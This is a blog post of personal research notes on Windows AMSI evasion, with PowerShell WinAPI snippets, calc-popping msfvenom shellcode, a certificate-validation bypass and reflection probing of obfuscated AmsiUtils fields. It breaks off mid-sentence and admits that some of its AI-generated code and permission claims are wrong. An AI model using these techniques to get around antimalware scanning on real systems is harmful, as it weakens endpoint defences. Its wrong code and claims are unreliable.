Published
- 53 min read
Too Bad To Be True

Notes
we made roughly in 1st and 2nd quarter of 2023, when we started learning AMSI
and Evasion
. Our first (failed) attempts at doing some Security Research around these topics, to find new ways, while learning them from the ground up.
Looking back, there’ve been a few perls in there, which we found too bad for a real article, but too good to toss them all. May someone else be luckier in research and life.
On the job end, we’re still throwing spaghetti at the wall of security jobs, but none sticked. Should’ve picked a different type of cheese for our CV - yes, one with less holes.
Not All Is Lost
but neither was all saved to proper notes, sadly.
And a warning
: there are a few blocks, not many and not the important ones, that are simply incorrect. When you’re either a little bit into the topic, or have fun trying it out yourself, you’ll see - and likely are able to fix it yourself. It’s still some good stuff. See it as homework / lab excercise.
Here we go
Loading .NET assembly
in Powershell can be done with 4 simple lines. Or with one. :P
$ [Ref].Assembly::Load([IO.File]::ReadAllBytes("t:\hw.dll")).GetType("mrt").GetMethod("Main").Invoke($null, $null)
Note: The second parameter of Invoke
must equal the function arguments. Can be used for DLLs and exe files.
Compile
$ csc.exe -target:library -out:.\hw.dll .\helloworld.cs
using System;
public class mrt
{
public static void Main()
{
Console.WriteLine("Fuck All Of This");
}
}
Invoke-WebRequest -SkipCertificateCheck
is no longer available on Powershell >= 5.1. Some workarounds:
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
## Always return true ("valid cert")
$ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
## Set proper TLS version
$ $AllProtocols = [System.Net.SecurityProtocolType]'Tls11,Tls12'
$ [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
Pop Calc
- Shellcode
$ msfvenom -f python -p windows/exec cmd=calc exitfunc=seh --bad-chars '\x00\x20\x25\x26\x27\x2b\x2f\x5c\x7e' --smallest
\x6a\x30\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4\xdd\xb5\xba\x83\xeb\xfc\xe2\xf4\x08\x35\x37\xba\xf4\xdd\xd5\x33\x11\xec\x75\xde\x7f\x8d\x85\x31\xa6\xd1\x3e\xe8\xe0\x56\xc7\x92\xfb\x6a\xff\x9c\xc5\x22\x19\x86\x95\xa1\xb7\x96\xd4\x1c\x7a\xb7\xf5\x1a\x57\x48\xa6\x8a\x3e\xe8\xe4\x56\xff\x86\x7f\x91\xa4\xc2\x17\x95\xb4\x6b\xa5\x56\xec\x9a\xf5\x0e\x3e\xf3\xec\x3e\x8f\xf3\x7f\xe9\x3e\xbb\x22\xec\x4a\x16\x35\x12\xb8\xbb\x33\xe5\x55\xcf\x02\xde\xc8\x42\xcf\xa0\x91\xcf\x10\x85\x3e\xe2\xd0\xdc\x66\xdc\x7f\xd1\xfe\x31\xac\xc1\xb4\x69\x7f\xd9\x3e\xbb\x24\x54\xf1\x9e\xd0\x86\xee\xdb\xad\x87\xe4\x45\x14\x82\xea\xe0\x7f\xcf\x5e\x37\xa9\xb7\xb4\x37\x71\x6f\xb5\xba\xf4\x8d\xdd\x8b\x7f\xb2\x32\x45\x21\x66\x4b\xb4\xc6\x37\xdd\x1c\x61\x60\x28\x45\x21\xe1\xb3\xc6\xfe\x5d\x4e\x5a\x81\xd8\x0e\xfd\xe7\xaf\xda\xd0\xf4\x8e\x4a\x6f\x97\xbc\xd9\xd9\xf4\xdd\xb5\xba
Powershell version
$shellcode = [Byte[]] (0x6a,0x30,0x59,0xd9,0xee,0xd9,0x74,0x24,0xf4,0x5b,0x81,0x73,0x13,0xf4,0xdd,0xb5,0xba,0x83,0xeb,0xfc,0xe2,0xf4,0x08,0x35,0x37,0xba,0xf4,0xdd,0xd5,0x33,0x11,0xec,0x75,0xde,0x7f,0x8d,0x85,0x31,0xa6,0xd1,0x3e,0xe8,0xe0,0x56,0xc7,0x92,0xfb,0x6a,0xff,0x9c,0xc5,0x22,0x19,0x86,0x95,0xa1,0xb7,0x96,0xd4,0x1c,0x7a,0xb7,0xf5,0x1a,0x57,0x48,0xa6,0x8a,0x3e,0xe8,0xe4,0x56,0xff,0x86,0x7f,0x91,0xa4,0xc2,0x17,0x95,0xb4,0x6b,0xa5,0x56,0xec,0x9a,0xf5,0x0e,0x3e,0xf3,0xec,0x3e,0x8f,0xf3,0x7f,0xe9,0x3e,0xbb,0x22,0xec,0x4a,0x16,0x35,0x12,0xb8,0xbb,0x33,0xe5,0x55,0xcf,0x02,0xde,0xc8,0x42,0xcf,0xa0,0x91,0xcf,0x10,0x85,0x3e,0xe2,0xd0,0xdc,0x66,0xdc,0x7f,0xd1,0xfe,0x31,0xac,0xc1,0xb4,0x69,0x7f,0xd9,0x3e,0xbb,0x24,0x54,0xf1,0x9e,0xd0,0x86,0xee,0xdb,0xad,0x87,0xe4,0x45,0x14,0x82,0xea,0xe0,0x7f,0xcf,0x5e,0x37,0xa9,0xb7,0xb4,0x37,0x71,0x6f,0xb5,0xba,0xf4,0x8d,0xdd,0x8b,0x7f,0xb2,0x32,0x45,0x21,0x66,0x4b,0xb4,0xc6,0x37,0xdd,0x1c,0x61,0x60,0x28,0x45,0x21,0xe1,0xb3,0xc6,0xfe,0x5d,0x4e,0x5a,0x81,0xd8,0x0e,0xfd,0xe7,0xaf,0xda,0xd0,0xf4,0x8e,0x4a,0x6f,0x97,0xbc,0xd9,0xd9,0xf4,0xdd,0xb5,0xba)
General Issues
that may appear when working with WinAPI
and (usually) rather old PoC
code snippets.
WCHAR* is incompatible with const char*
In earlier versions Multibyte Character Set was the default setting for new projects in Visual Studio. Nowadays this has been changed to Unicode - which is in general the preferable charset, except when making WinAPI exploits, cause then it makes matters more complicated without providing any significant advantage.
Go to Project Settings -> Configuration Properties -> Advanced and set Character Set to Use Multi-Byte Character Set - most issues with incompatible types should disapear now.
The hard way
You can of course change all the types to use modern types, but it will provide some overhead and headaches.
The concept “function pointers”
How pointers
work is rather essential for all programming languages, including those that don’t implement this concept directly. A pointer stores the address to a thing (variable, function, …). That address can then be used to interact with the thing, reading or writing values, in case of functions: invoke it - that means, calling the function.
Pointers provide lots of useful applications, e.g. passing a variable reference as parameter to a function, so the function can change the content of the variable, while returning something else. Linked lists are another application.
A function pointer can be used in a similar fashion, so a function can call another function that was passed as parameter. To store a reference to the function in a variable - or a bunch of them in an array. Or simply, to call the function.
In C and other languages, there’s a few more things to know:
- Using & we can also provide the address of a variable. It’s the same address as when using a pointer. The difference is, a pointer stores the address, while an ampersand returns it on-the-fly, directly:
c
int a = 1; // address 0x12345
int * pointer = &a; // &a == 0x12345 == pointer
- TBD
Function pointers are an ideal attack surface in Offensive Security. If we’re able to change a function pointer, we can run our own code or stop the correct functioning of a program. This is pretty important to understand for anything that follows.
Powershell WinAPI Mini Course
Made with a little help of our friend, the infinite language model and corrected by us. Some stuff is redundant.
Part 1: Introduction to PowerShell and WinAPI
Introduction to PowerShell and its capabilities Introduction to the Windows API (WinAPI) and how it can be used with PowerShell Basics of using WinAPI functions in PowerShell, including function syntax and parameters
Part 2: Working with Windows Processes and Memory
Overview of Windows processes and how to manipulate them with WinAPI functions Basics of memory manipulation, including reading and writing memory addresses in PowerShell using WinAPI functions Examples of common WinAPI functions for process and memory manipulation, such as OpenProcess, ReadProcessMemory, and WriteProcessMemory
Part 3: Working with Dynamic Link Libraries (DLLs)
Overview of dynamic link libraries (DLLs) and how they are used in Windows applications Introduction to using WinAPI functions to load and unload DLLs in PowerShell Examples of common WinAPI functions for DLL loading, such as LoadLibrary and FreeLibrary
Part 4: Advanced Memory Manipulation Techniques
Advanced memory manipulation techniques, such as hooking and patching functions in memory Using WinAPI functions to allocate and free memory in a process Examples of more advanced WinAPI functions for memory manipulation, such as VirtualAllocEx and VirtualProtectEx
Part 5: Executing NTDL Functions and System Calls
Overview of NTDL functions and system calls, and how they can be executed using WinAPI functions in PowerShell Examples of common WinAPI functions for executing NTDL functions and system calls, such as NtQueryInformationProcess and ZwCreateFile Best practices and considerations for using WinAPI functions for NTDL function execution in PowerShell.
Part 1: Introduction to PowerShell and WinAPI
PowerShell is a powerful command-line shell and scripting language developed by Microsoft. It was designed to provide a powerful and flexible tool for system administration and automation, and it comes with a wide range of built-in features for managing Windows systems.
One of the most powerful features of PowerShell is its ability to interact with the Windows API (WinAPI). The WinAPI is a set of functions and data types that provide access to the underlying functionality of the Windows operating system. With PowerShell, you can call these functions and use their output to automate complex system administration tasks.
To get started with PowerShell and WinAPI, you’ll need to have a basic understanding of PowerShell syntax and commands. If you’re new to PowerShell, it’s recommended that you start with a basic tutorial on the language before diving into WinAPI coding.
Here’s an example of how you can use PowerShell to call a WinAPI function:
## Import the necessary WinAPI DLL
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
## Call the GetLastError function and print the result
$result = [WinAPI]::GetLastError()
Write-Host "Result: $result"
In this example, we’re using the [DllImport] attribute to import the GetLastError function from the kernel32.dll
library. We then call the function using the syntax [WinAPI]::GetLastError(), and store the result in a variable called $result. Finally, we use the Write-Host cmdlet to print the result to the console.
This is just a basic example, but it demonstrates the basic syntax for using WinAPI functions in PowerShell. In the next part of the mini course, we’ll dive deeper into working with Windows processes and memory using WinAPI functions in PowerShell.
Part 2: Working with Windows Processes and Memory
In this part of the mini course, we’ll focus on working with Windows processes and memory using WinAPI functions in PowerShell. This will include an overview of Windows processes, how to manipulate them with WinAPI functions, and the basics of memory manipulation.
Working with Windows Processes
Windows processes are the individual programs or applications that are running on a Windows system. Each process has its own address space, which is a range of memory addresses that the process can access.
To work with Windows processes using WinAPI functions in PowerShell, you’ll need to import the kernel32.dll
library and use the OpenProcess function to obtain a handle to the process.
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
}
"@
## Get the process ID of the PowerShell process
$processId = $PID
## Open a handle to the process
$processHandle = [WinAPI]::OpenProcess(0x0010, $false, $processId)
## Print the process handle
Write-Host "Process handle: $processHandle"
In this example, we’re using the OpenProcess function to obtain a handle to the current PowerShell process. We pass in the process ID using the $PID variable, which contains the ID of the current process. The second parameter is set to $false to indicate that we don’t want to inherit any handles from the parent process. Finally, we print the process handle to the console using the Write-Host cmdlet.
Working with Memory
Once you have a handle to a process, you can use WinAPI functions to read and write memory in the process’s address space. The most common functions for memory manipulation are ReadProcessMemory and WriteProcessMemory.
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int nSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
}
"@
## Get the process ID of the PowerShell process
$processId = $PID
## Open a handle to the process
$processHandle = [WinAPI]::OpenProcess(0x1F0FFF, $false, $processId)
## Allocate some memory in the process
$memoryAddress = [WinAPI]::VirtualAllocEx($processHandle, 0, 4096, 0x1000, 0x04)
## Write some data to the allocated memory
$data = "Hello, world!"
## Another way to do the type casting:
## $data = [byte[]][char[]]"Hello, world!"
$bytesWritten = 0
[WinAPI]::WriteProcessMemory($processHandle, $memoryAddress, ([System.Text.Encoding]::ASCII.GetBytes($data)), ($data.Length + 1), ([ref]$bytesWritten))
## Read the value from the allocated memory
$buffer = New-Object byte[] ($data.Length + 1)
$bytesRead = 0
[WinAPI]::ReadProcessMemory($processHandle, $memoryAddress, $buffer, ($data.Length + 1), [ref]$bytesRead)
## Convert the buffer to a string
$result = [System.Text.Encoding]::ASCII.GetString($buffer)
## Close the process handle and free the allocated memory
[WinAPI]::CloseHandle($processHandle)
[WinAPI]::VirtualFreeEx($processHandle, $memoryAddress, 0, 0x8000)
## Output the result
Write-Host $result
Part 3: Loading DLLs and Executing Functions in ntdll.dll
In this part of the mini course, we’ll focus on loading DLLs and executing functions in the ntdll.dll
library using WinAPI functions in PowerShell. This will include an overview of DLLs, how to load them using WinAPI functions, and how to execute functions in the ntdll.dll
library.
Loading DLLs
Dynamic-link libraries (DLLs) are files that contain code and data that can be used by multiple programs at the same time. DLLs are loaded into a program’s address space at runtime and can be used to extend the functionality of the program.
To load a DLL using WinAPI functions in PowerShell, you’ll need to import the kernel32.dll
library and use the LoadLibrary function.
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr LoadLibrary(string lpFileName);
}
"@
## Load the ntdll.dll library
$ntdll = [WinAPI]::LoadLibrary("ntdll.dll")
## Print the module handle
Write-Host "ntdll.dll handle: $ntdll"
In this example, we’re using the LoadLibrary function to load the ntdll.dll
library. We pass in the name of the library as a string and the function returns a handle to the loaded module. Finally, we print the module handle to the console using the Write-Host cmdlet.
Executing Functions in ntdll.dll
Once you’ve loaded a DLL, you can execute functions in the library using WinAPI functions like GetProcAddress and Invoke-WinAPI. The GetProcAddress function is used to obtain a pointer to a function in a loaded library, and Invoke-WinAPI is used to call the function pointer.
We obtain a pointer to the RtlGetVersion function in ntdll.dll
and call it:
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
}
"@
## Load the ntdll.dll library
$ntdll = [WinAPI]::LoadLibrary("ntdll.dll")
Write-Host $ntdll
## Get a pointer to the RtlGetVersion function
$rtlGetVersion = [WinAPI]::GetProcAddress($ntdll, "RtlGetVersion")
Write-Host $rtlGetVersion
## Define the signature of the RtlGetVersion function
## Making a "getter" function RtlGetVersionInfo(), cause using the struct didn't quite work otherwise
Add-Type -Name "Win32" -Namespace "" -MemberDefinition @"
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEXW {
public uint dwOSVersionInfoSize;
public uint dwMajorVersion;
public uint dwMinorVersion;
public uint dwBuildNumber;
public uint dwPlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string szCSDVersion;
public ushort wServicePackMajor;
public ushort wServicePackMinor;
public ushort wSuiteMask;
public byte wProductType;
public byte wReserved;
}
[DllImport("ntdll.dll")]
public static extern int RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInfo);
public static OSVERSIONINFOEXW RtlGetVersionInfo() {
var inf = new OSVERSIONINFOEXW();
RtlGetVersion(ref inf);
return inf;
}
"@
$versionInfo = [Win32]::RtlGetVersionInfo()
write-host "Operating System Version: $($versionInfo.dwMajorVersion).$($versionInfo.dwMinorVersion).$($versionInfo.dwBuildNumber)"
Part 4: Memory Manipulation with WinAPI Functions
In this part of the mini course, we’ll focus on memory manipulation using WinAPI functions in PowerShell. This will include an overview of memory management, how to allocate and free memory using WinAPI functions, and how to read and write to memory using PowerShell.
Memory Management
Memory management is the process of allocating, using, and freeing memory in a program. In PowerShell, you can use WinAPI functions to allocate and free memory in a process.
To allocate memory using WinAPI functions in PowerShell, you’ll need to import the kernel32.dll
library and use the VirtualAllocEx function. Here’s an example:
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
}
"@
## Allocate memory in the current process
$allocatedMemory = [WinAPI]::VirtualAllocEx([System.Diagnostics.Process]::GetCurrentProcess().Handle, 0, 1024, 0x1000, 0x40)
## Print the address of the allocated memory
Write-Host "Allocated memory at: $allocatedMemory"
In this example, we’re using the VirtualAllocEx function to allocate 1024 bytes of memory in the current process. We pass in the current process handle, 0 for the address, 1024 for the size, 0x1000 for the allocation type (commit), and 0x40 for the protection (read/write). Finally, we print the address of the allocated memory to the console using the Write-Host cmdlet.
To free memory using WinAPI functions in PowerShell, you’ll need to import the kernel32.dll
library and use the VirtualFreeEx function. Here’s an example:
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
}
"@
## Allocate memory in the current process
$allocatedMemory = [WinAPI]::VirtualAllocEx([System.Diagnostics.Process]::GetCurrentProcess().Handle, 0, 1024, 0x1000, 0x40)
## Free the allocated memory
[WinAPI]::VirtualFreeEx([System.Diagnostics.Process]::GetCurrentProcess().Handle, $allocatedMemory, 0, 0x8000)
## Print a message to confirm the memory was freed
Write-Host "Memory freed."
In this example, we’re using the VirtualFreeEx function to free the memory we allocated earlier. We pass in the current process handle, the address of the allocated memory, 0 for the size, and 0x8000 for the free type (release). Finally, we print a message to the console to confirm the memory was freed.
Reading and Writing to Memory
This is quite similar to things before, but it shows some other way to do this, while OpenProcess() needed NT-Authority/Admin
privileges, this works on user
level!
## Import the necessary WinAPI DLLs
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]public static extern Boolean WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
UInt32 nSize,
ref UInt32 lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]public static extern Boolean ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int nSize,
out int lpNumberOfBytesRead
);
}
"@
## Get Handle
$processHandle = [System.Diagnostics.Process]::GetCurrentProcess().Handle
## Allocate memory in the current process and write a string to it
$allocatedMemory = [WinAPI]::VirtualAllocEx($processHandle, 0, 4096, 0x1000, 0x04)
$processId = [System.Diagnostics.Process]::GetCurrentProcess().Id
$data = "Hello, world!"
$BytesWritten = 0
[WinAPI]::WriteProcessMemory($processHandle, $allocatedMemory, [System.Text.Encoding]::ASCII.GetBytes($data), ($data.Length + 1), [ref]$BytesWritten)
## Read the string from memory
$buffer = New-Object byte[] ($data.Length + 1)
$bytesRead = 0
[WinAPI]::ReadProcessMemory($processHandle, $allocatedMemory, $buffer, ($data.Length + 1), [ref]$bytesRead)
$readString = [System.Text.Encoding]::ASCII.GetString($buffer)
## Print the string to the console
Write-Host "Read string: $readString"
## Free the allocated memory
[WinAPI]::VirtualFreeEx([System.Diagnostics.Process]::GetCurrentProcess().Handle, $allocatedMemory, 0, 0x8000)
In the next part of this mini course, we’ll explore how to load DLLs in PowerShell using WinAPI functions.
Part 5: Loading DLLs in PowerShell with WinAPI
Dynamic Link Libraries (DLLs) are shared libraries that contain reusable code and data that can be used by multiple programs. In PowerShell, you can load DLLs using the LoadLibrary
function from the WinAPI.
Here’s an example of how to load a DLL in PowerShell using WinAPI functions:
## Import the PSPReadWriteMemory module
Import-Module PSPReadWriteMemory
## Define the kernel32.dll module name and function name to use
$moduleName = "kernel32.dll"
$functionName = "LoadLibraryA"
## Allocate memory in the current process and write the module name to it
$allocatedMemory = [WinAPI]::VirtualAllocEx([Process]::GetCurrentProcess().Handle, 0, 1024, 0x1000, 0x40)
$processId = [Process]::GetCurrentProcess().Id
$bytesToWrite = [System.Text.Encoding]::ASCII.GetBytes($moduleName + [char]0)
Write-ProcessMemory -ProcessId $processId -BaseAddress $allocatedMemory -InputObject $bytesToWrite
## Call the LoadLibraryA function to load the DLL
$kernel32 = [WinAPI]::GetModuleHandle("kernel32.dll")
$loadLibrary = [WinAPI]::GetProcAddress($kernel32, $functionName)
$loadedModule = [WinAPI]::CreateRemoteThread([Process]::GetCurrentProcess().Handle, $null, 0, $loadLibrary, $allocatedMemory, 0, $null)
## Wait for the remote thread to complete
[WinAPI]::WaitForSingleObject($loadedModule, [WinAPI]::INFINITE)
## Read the loaded module's handle from memory
$bytesToRead = New-Object byte[] ([System.IntPtr]::Size)
Read-ProcessMemory -ProcessId $processId -BaseAddress $allocatedMemory -OutputObject $bytesToRead
$loadedModuleHandle = [System.IntPtr]::new([System.BitConverter]::ToUInt64($bytesToRead, 0))
## Free the allocated memory
[WinAPI]::VirtualFreeEx([Process]::GetCurrentProcess().Handle, $allocatedMemory, 0, 0x8000)
In this example, we’re using the LoadLibrary function to load the kernel32.dll
module into the current process.
First, we allocate memory in the current process using the VirtualAllocEx function as we did in the previous examples. Then we write the name of the module we want to load to the allocated memory using the Write-ProcessMemory function.
Next, we use the GetModuleHandle function to get a handle to the kernel32.dll
module, and the GetProcAddress function to get a pointer to the LoadLibraryA function within that module. We then create a remote thread in the current process using the CreateRemoteThread function, passing in the address of the LoadLibraryA function and the address of the allocated memory containing the name of the module to load.
We wait for the remote thread to complete using the WaitForSingleObject function, and then read the handle of the loaded module from memory using the Read-ProcessMemory function.
Finally, we free the allocated memory using the VirtualFreeEx function.
Except: The LLM that created this was completely off. We fixed Part 1-4 but not 5. Do your homework.
Bonus: Permissions Required for WinAPI Functions in PowerShell
When using WinAPI functions in PowerShell, it’s important to be aware of the permissions required to use each function. Some functions require only user-level permissions, while others require administrator-level permissions.
Here are some common WinAPI functions used in PowerShell and their required permissions:
Function | Notes | Required Permissions |
---|---|---|
VirtualAllocEx | allocates memory in a process | User |
WriteProcessMemory | writes data to memory in a process | User |
ReadProcessMemory | reads data from memory in a process | User |
CreateRemoteThread | creates a thread in a process | Administrator |
VirtualFreeEx | frees memory in a process | User |
LoadLibrary | loads a DLL into a process | Administrator |
GetProcAddress | gets the address of a function in a DLL | User |
CreateToolhelp32Snapshot | creates a snapshot of the running processes and threads | User |
Process32First Process32Next | enumerate the processes in a snapshot created with CreateToolhelp32Snapshot | User |
OpenProcess CloseHandle | open and close a handle to a process | Administrator |
It’s important to note that the required permissions may vary depending on the specific use case of the function. Additionally, certain functions may require elevated privileges on specific operating systems or under certain system configurations.
Playing with our Memories - Pointers to Managed?
Lets geek out a little bit. We do have AI.
$ Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class PointerHelper
{
public static IntPtr GetPointerToString(string str)
{
GCHandle gch = GCHandle.Alloc(str, GCHandleType.Pinned);
IntPtr pointer = gch.AddrOfPinnedObject();
gch.Free();
return pointer;
}
public static void DumpMemory(IntPtr pointer, int length, int highlightStart, int highlightLength)
{
byte[] bytes = new byte[length];
Marshal.Copy(pointer, bytes, 0, length);
for (int i = 0; i < length; i += 16)
{
Console.Write("{0:X8} ", i);
for (int j = 0; j < 16; j++)
{
if (i + j < length)
{
if (i + j >= highlightStart && i + j < highlightStart + highlightLength)
{
Console.ForegroundColor = ConsoleColor.Red;
}
Console.Write("{0:X2} ", bytes[i + j]);
Console.ResetColor();
}
else
{
Console.Write(" ");
}
}
Console.Write(" ");
for (int j = 0; j < 16; j++)
{
if (i + j < length)
{
char c = Convert.ToChar(bytes[i + j]);
if (Char.IsControl(c)) { c = '.'; }
if (i + j >= highlightStart && i + j < highlightStart + highlightLength)
{
Console.ForegroundColor = ConsoleColor.Red;
}
Console.Write("{0}", c);
Console.ResetColor();
}
}
Console.WriteLine();
}
}
}
"@
$ $a="si"
$ foreach($name in [Ref].Assembly.GetType('System.Management.Automation.Am'+$a+'Utils').GetMembers('nonpublic,static,public,instance,declaredonly').name) { $out=[Ref].Assembly.GetType('System.Management.Automation.Am'+$a+'Utils').GetField($name,[Reflection.BindingFlags]'NonPublic,Static,Public,Instance,DeclaredOnly'); $p=[PointerHelper]::GetPointerToString($out); [PointerHelper]::DumpMemory($p, 128, 0, 4); write-host "[+]" $name : $p }
Should output:
[...]
[+] amsiInitFailed : 2603617628252 : 0
00000000 53 00 79 00 73 00 74 00 65 00 6D 00 2E 00 4F 00 S.y.s.t.e.m...O.
00000010 62 00 6A 00 65 00 63 00 74 00 20 00 61 00 6D 00 b.j.e.c.t. .a.m.
00000020 73 00 69 00 4C 00 6F 00 63 00 6B 00 4F 00 62 00 s.i.L.o.c.k.O.b.
00000030 6A 00 65 00 63 00 74 00 00 00 00 00 00 00 00 00 j.e.c.t.........
00000040 00 00 00 00 00 00 00 00 00 00 00 00 18 F8 B2 CC .............ø²Ì
00000050 FA 7F 00 00 8C 82 B5 33 5E 02 00 00 00 00 00 00 ú.....µ3^.......
00000060 00 00 00 00 20 9C D5 D3 FA 7F 00 00 38 96 A3 33 .... .ÕÓú...8.£3
00000070 5E 02 00 00 38 96 A3 33 5E 02 00 00 11 00 00 00 ^...8.£3^.......
[+] amsiLockObject : 2603617714828 : 0
00000000 42 00 6F 00 6F 00 6C 00 65 00 61 00 6E 00 20 00 B.o.o.l.e.a.n. .
00000010 41 00 6D 00 73 00 69 00 55 00 6E 00 69 00 6E 00 A.m.s.i.U.n.i.n.
00000020 69 00 74 00 69 00 61 00 6C 00 69 00 7A 00 65 00 i.t.i.a.l.i.z.e.
00000030 43 00 61 00 6C 00 6C 00 65 00 64 00 00 00 00 00 C.a.l.l.e.d.....
00000040 00 00 00 00 00 00 00 00 00 00 00 00 18 F8 B2 CC .............ø²Ì
00000050 FA 7F 00 00 84 F5 B6 33 5E 02 00 00 00 00 00 00 ú....õ¶3^.......
00000060 00 00 00 00 20 9C D5 D3 FA 7F 00 00 38 96 A3 33 .... .ÕÓú...8.£3
00000070 5E 02 00 00 38 96 A3 33 5E 02 00 00 11 00 00 00 ^...8.£3^.......
[+] AmsiUninitializeCalled : 2603617809796 : 0
00000000 42 00 6F 00 6F 00 6C 00 65 00 61 00 6E 00 20 00 B.o.o.l.e.a.n. .
00000010 41 00 6D 00 73 00 69 00 49 00 6E 00 69 00 74 00 A.m.s.i.I.n.i.t.
00000020 69 00 61 00 6C 00 69 00 7A 00 65 00 64 00 00 00 i.a.l.i.z.e.d...
00000030 00 00 00 00 00 00 00 00 00 00 00 00 18 F8 B2 CC .............ø²Ì
00000040 FA 7F 00 00 3C 48 B8 33 5E 02 00 00 00 00 00 00 ú...<H¸3^.......
00000050 00 00 00 00 20 9C D5 D3 FA 7F 00 00 38 96 A3 33 .... .ÕÓú...8.£3
00000060 5E 02 00 00 38 96 A3 33 5E 02 00 00 11 00 00 00 ^...8.£3^.......
00000070 00 00 00 00 00 00 00 00 00 00 00 00 D8 5F D8 D3 ............Ø_ØÓ
[...]
Managed Pointers
Sadly, not. These are pointers to strings for the purpose of experimentation (more precisely: passing managed code to unmanaged code, pinning it, yadiyadiya… in the end it’s essentially a bunch of strings, likely a struct with type information.
Point is: Overwriting them does nothing to AMSI. With Reflections we only have access to very few real pointers of AMSI, those have all already been used in known exploits.
Example:
$ $a="si";foreach($name in [Ref].Assembly.GetType('System.Management.Automation.Am'+$a+'Utils').GetMembers('nonpublic,static,public,instance,declaredonly').name) { try { $out=[Ref].Assembly.GetType('System.Management.Automation.Am'+$a+'Utils').GetField($name,[Reflection.BindingFlags]'NonPublic,Static'); $val=$out.getvalue($null); $tp=$val.gettype(); write-host "[+]" $name : $val : $tp } catch { echo "[-] $name" } }
[-] CurrentDomain_ProcessExit
[-] CloseSession
[-] Uninitialize
[-] VerifyAmsiUninitializeCalled
[-] GetProcessHostName
[-] Init
[-] ScanContent
[-] .ctor
[-] .cctor
[+] amsiContext : 2707635701936 : System.IntPtr
[+] amsiSession : 3113 : System.IntPtr <= This is actually the session ID, not a pointer
[+] amsiInitFailed : False : System.Boolean
[+] amsiLockObject : System.Object : System.Object
[-] AmsiUninitializeCalled
[-] AmsiInitialized
[-] AmsiCleanedUp
[-] AmsiNativeMethods
Why do we get a pointer for amsiContext
and nothing else? Most of this is .NET managed code
, thus we shouldn’t be able to get a real memory pointer (that we can tamper with on top).
We can see that the s_amsiContext field is declared as IntPtr
within the amsiUtils class (see Appendix B for full code). This field is used to store the context or handle associated with the amsi utility.
The amsiInitialize method is a native method defined in the amsiNativeMethods
class, which interacts with the external library “amsi.dll” - which is unmanaged code.
The specific assignment of the s_amsiContext field happens in the Init method:
var hr = amsiNativeMethods.amsiInitialize(appName, ref s_amsiContext);
Checking the code, the amsiInitialize method is defined as an external native method using DllImport
. This method is responsible for initializing the amsiContext parameter, which is passed by reference (ref
